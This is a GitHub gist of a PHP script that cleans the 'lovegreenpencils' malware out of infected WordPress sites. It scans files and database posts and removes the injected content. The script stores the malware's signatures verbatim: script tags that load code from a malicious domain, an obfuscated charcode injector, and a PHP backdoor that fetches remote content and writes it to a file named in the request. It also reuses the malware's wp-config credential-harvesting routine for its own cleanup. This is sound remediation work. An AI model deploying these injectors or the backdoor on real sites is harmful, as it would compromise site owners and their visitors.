Last active
February 3, 2023 22:47
-
-
Save ImSeaWorld/4603c9abe958b7638feb4a0b47ac2535 to your computer and use it in GitHub Desktop.
LoveGreenPencils WordPress malware removal script. I didn't like those green pencils. Discussion: https://stackoverflow.com/questions/64907298/wordpress-website-infected-by-virus-how-to-backup-or-recover/64921065 Shell Script: https://gist.github.com/black-dragon74/86fc18a91e814019228c02531f0ea01c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('NOTFOUND', -1); | |
define('REMOVED', -2); | |
define('EXISTNT', -3); | |
define('ERROR', -4); | |
// This is found in the database. | |
$Script_A = "<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>"; | |
// Thrown on indexs | |
$Script_D = "<script type='text/javascript' src='https://port.lovegreenpencils.ga/m.js?n=nb5'></script>"; | |
// This is found in JS files. | |
$Script_B = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();"; | |
// Thrown anywhere | |
$Script_C = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>"; | |
// Found this, seems like someone added it... | |
$Script_E = '<?php \n //scp-173\n function updatefile($blacks=\'\'){\n $header = isset($_REQUEST[\'WordPress\']) ? trim($_REQUEST[\'WordPress\']) : \'\';\n $blog = isset($_REQUEST[\'Database\']) ? trim($_REQUEST[\'Database\']) : \'\';\n $wp = curl_init(\'http://\'.$header);\n curl_setopt($wp, CURLOPT_RETURNTRANSFER, 1);\n $curxecs = curl_exec($wp);\n if ($blog!=\'\') {\n file_put_contents($blog, $curxecs);\n }\n if (isset($_GET[\'daksldlkdsadas\'])) {\n echo \'wp-blog-header\';\n }\n }\n updatefile();\n ?>'; | |
// Taken from the malware. Thanks | |
function get_var_reg($pat,$text) { | |
if ($c = preg_match_all ("/".$pat."/is", $text, $matches)) | |
{ | |
return $matches[1][0]; | |
} | |
return ""; | |
} | |
// Taken from the malware. Thanks | |
function search_file_ms($dir,$file_to_search){ | |
$search_array = array(); | |
$files = scandir($dir); | |
if($files == false) { | |
$dir = substr($dir, 0, -3); | |
if (strpos($dir, '../') !== false) { | |
@search_file_ms( $dir,$file_to_search); | |
return; | |
} | |
if($dir == $_SERVER['DOCUMENT_ROOT']."/") { | |
@search_file_ms( $dir,$file_to_search); | |
return; | |
} | |
} | |
foreach ($files as $key => $value){ | |
$path = realpath($dir.DIRECTORY_SEPARATOR.$value); | |
if(!is_dir($path)) { | |
if (strpos($value,$file_to_search) !== false) { | |
show_sitenames($path); | |
} | |
} else if($value != "." && $value != "..") { | |
@search_file_ms($path, $file_to_search); | |
} | |
} | |
} | |
// Taken from the malware. Thanks | |
function show_sitenames($file){ | |
$content = @file_get_contents($file); | |
if(strpos($content, "DB_NAME") !== false) { | |
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content); | |
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content); | |
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content); | |
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content); | |
// Create connection | |
$conn = new mysqli($host, $user, $pass); | |
// Check connection | |
if (!$conn->connect_error) { | |
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'"; | |
$result = $conn->query($q); | |
if ($result->num_rows > 0) { | |
while($row = $result->fetch_assoc()) { | |
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 "; | |
$result2 = $conn->query($q2); | |
if ($result2->num_rows > 0) { | |
while($row2 = $result2->fetch_assoc()) { | |
$val = $row2['post_content']; | |
if(strpos($val, "lovegreenpencils.ga") !== false){ | |
$q3 = sprintf( | |
'UPDATE %s.%s SET post_content=REPLACE(post_content,"%s","")', | |
$row['TABLE_SCHEMA'], | |
$row['TABLE_NAME'], | |
"<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>" | |
) . " WHERE post_content LIKE '%lovegreenpencils.ga%';"; | |
$conn->query($q3); | |
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]; | |
} | |
} | |
} | |
} | |
} | |
$conn->close(); | |
} | |
} | |
} | |
function FindAndReplace($file, $search, $replace) { | |
$notFound = []; | |
$contents = file_get_contents($file); // read file here | |
if (is_array($search)) { | |
foreach ($search as $key => $val) { | |
if (($pos = strpos($contents, $val)) === false) { | |
echo "Didn't find pattern " . ($key + 1) ." - " . sprintf('%s/%s || %s', ($key + 1), count($search), $pos) . PHP_EOL; | |
$notFound[] = $key; | |
} | |
} | |
if (count($notFound) === count($search)) { | |
echo 'No pattern exists in this file.'; | |
return NOTFOUND; | |
} | |
} else { | |
if (($pos = strpos($contents, $search)) === false) { | |
echo "Didn't find pattern... Skipping."; | |
return NOTFOUND; | |
} | |
} | |
try { | |
$fhandle = fopen($file, 'w+'); // overstep permissions issue | |
if (is_array($search)) { | |
foreach ($search as $key=>$val) { | |
if (in_array($key, $notFound)) continue; | |
$contents = str_replace($val, $replace, $contents); | |
} | |
} else { | |
$contents = str_replace($search, '', $contents); | |
} | |
fwrite($fhandle, $contents); // write contents without backdoor | |
fclose($fhandle); // close file handle | |
$postContents = file_get_contents($file); // see if we removed it | |
if (is_array($search)) { | |
$notRemoved = 0; | |
foreach ($search as $key => $val) { | |
if (in_array($key, $notFound)) continue; | |
if (!!($pos = strpos($postContents, $val))) { | |
return $pos; | |
} | |
} | |
return REMOVED; | |
} else { | |
$pos = strpos($postContents, $search); // get position, should be false | |
return !!$pos ? $pos : REMOVED; | |
} | |
} catch (Exception $ex) { | |
echo 'FindAndReplace Error: ' . $e->Message(); | |
return ERROR; | |
} | |
} | |
try { | |
if (!isset($argv) || count($argv) < 2) {die();} | |
$args = array_slice($argv, 1); | |
switch ($argv[1]) { | |
// php dlgp.php -check 'location/*' -save | |
case '-check': { | |
echo "We're going to gather all the infected files... This may take some time." . PHP_EOL; | |
$Infected = [ | |
'script' => shell_exec('grep -rli \'lovegreenpencils.ga\' ' . $argv[2] /*PATH*/), | |
'encoded' => shell_exec('grep -rli \'108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97\' ' . $argv[2] /*PATH*/) | |
]; | |
$ScriptCount = 0; | |
$EncodedCount = 0; | |
if ($Infected['script'] && strlen($Infected['script']) > 0) { | |
$ScriptCount += count(explode('\n', $Infected['script'])); | |
} | |
if ($Infected['encoded'] && strlen($Infected['encoded']) > 0) { | |
$EncodedCount += count(explode('\n', $Infected['encoded'])); | |
} | |
if (in_array('-save', $argv)) { | |
$ts = time(); | |
file_put_contents('script-infected.'. $ts .'.txt', $Infected['script']); | |
file_put_contents('encoded-infected.'. $ts .'.txt', $Infected['encoded']); | |
echo 'Saved lists to files. Next commands:'.PHP_EOL; | |
echo sprintf(" [#] Clean Encoded - php %s encoded-infected.%s.txt", basename(__FILE__), $ts); | |
echo sprintf(" [#] Clean Scripts - php %s script-infected.%s.txt", basename(__FILE__), $ts); | |
echo sprintf(" [#] Clean Both - php %s script-infected.%s.txt encoded-infected.%s.txt", basename(__FILE__), $ts, $ts); | |
} else { | |
echo "[#] ENCODED START [#]" . PHP_EOL; | |
echo $Infected['encoded']; | |
echo "[#] ENCODED START [#]" . PHP_EOL . PHP_EOL; | |
echo "[#] SCRIPTS START [#]" . PHP_EOL; | |
echo $Infected['script']; | |
echo "[#] SCRIPTS START [#]" . PHP_EOL . PHP_EOL; | |
} | |
echo sprintf("Found %s script additions and %s instances of encoded scripts.", $ScriptCount, $EncodedCount) . PHP_EOL . PHP_EOL; | |
break; | |
} | |
// php dlgp.php -del mal.txt | |
case '-del': { | |
$args = array_slice($args, 1); | |
echo 'Deleting stuff.. Fun!' . PHP_EOL; | |
foreach ($args as $key => $arg) { | |
// We don't want to remove our script. >.< | |
if (pathinfo($file) === pathinfo(__FILE__)) continue; | |
if (!file_exists($arg)) { | |
echo ($key + 1) . '/' . count($args).' file doesnt exist' . PHP_EOL; | |
continue; | |
} | |
echo 'Trying File ' . ($key + 1) . '/' . count($args). PHP_EOL; | |
$del = file($arg, FILE_IGNORE_NEW_LINES); | |
foreach ($del as $k => $file) { | |
$file = str_replace('\n', '', $file); | |
try { | |
if (unlink($file)) { | |
echo $file . ' [DELETED]' . PHP_EOL; | |
} else { | |
echo 'Unable to delete file.' . PHP_EOL; | |
} | |
} catch (Exception $ex) { | |
echo 'Error ' . $ex . PHP_EOL; | |
} | |
} | |
} | |
break; | |
} | |
// php dlgp.php -db 'folder/to/wp-config.php' (relative to the script) | |
case '-db': { | |
// Removes scripts from posts. | |
// Does not remove the additions to wp_options | |
// Change wp-settings: UPDATE wp_options SET site_url='YourSiteUrl', home='YourHomeUrl'; | |
// quick and dirty, safer route is to do this yourself | |
// MySQL Query: UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://dock.lovegreenpencils.ga/m.js?n=nb5' type='text/javascript'></script>",'') WHERE post_content LIKE '%lovegreenpencils%' | |
// this uses the same script from the malware to find the config and remove the scripts from post_content. It's safe though :) | |
search_file_ms($_SERVER['DOCUMENT_ROOT'] . "/" . $argv[2], "wp-config.php"); | |
break; | |
} | |
default: { | |
foreach ($args as $key => $arg) { | |
echo 'File ' . $arg . PHP_EOL; | |
if (file_exists($arg)) { | |
$time = microtime(true); | |
$maltxt = file($arg, FILE_IGNORE_NEW_LINES); | |
$infectedFiles = []; | |
$string = [$Script_C, $Script_B, $Script_D, $Script_E]; | |
foreach ($maltxt as $key => $file) { | |
// We don't want to remove anything from our script. >.< | |
if (pathinfo($file) === pathinfo(__FILE__)) continue; | |
$infectedFiles[] = str_replace('\n', '', $file); | |
} | |
foreach ($infectedFiles as $key => $file) { | |
$echo = ''; | |
$file = str_replace('\n', '', $file); | |
$fnr = FindAndReplace($file, $string, ''); | |
$echo .= $file; | |
switch ($fnr) { | |
case ERROR: // Ooft | |
$echo .= ' [ERROR]' . PHP_EOL . PHP_EOL; | |
break; | |
case REMOVED: // We removed it! Yay! | |
$echo .= ' [REMOVED]' . PHP_EOL . PHP_EOL; | |
break; | |
case EXISTNT: // Doesn't exist, existn't.. Right? | |
$echo .= ' [EXISTNT]' . PHP_EOL . PHP_EOL; | |
break; | |
case NOTFOUND: // Must've been removed previously | |
$echo .= ' [NOTFOUND]' . PHP_EOL . PHP_EOL; | |
break; | |
default: // Still infected file | |
$echo .= ' [INFECTED] Pos: ' . $fnr . PHP_EOL . PHP_EOL; | |
break; // returns position | |
} | |
echo $echo; | |
} | |
echo 'finished. took ' . (microtime(true) - $time) . ' seconds' . PHP_EOL . PHP_EOL; | |
} else { | |
echo "Input file ".$arg." didn't exist!" . PHP_EOL . PHP_EOL; | |
} | |
} | |
break; | |
} | |
} | |
} catch (Exception $ex) { | |
echo print_r($ex); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment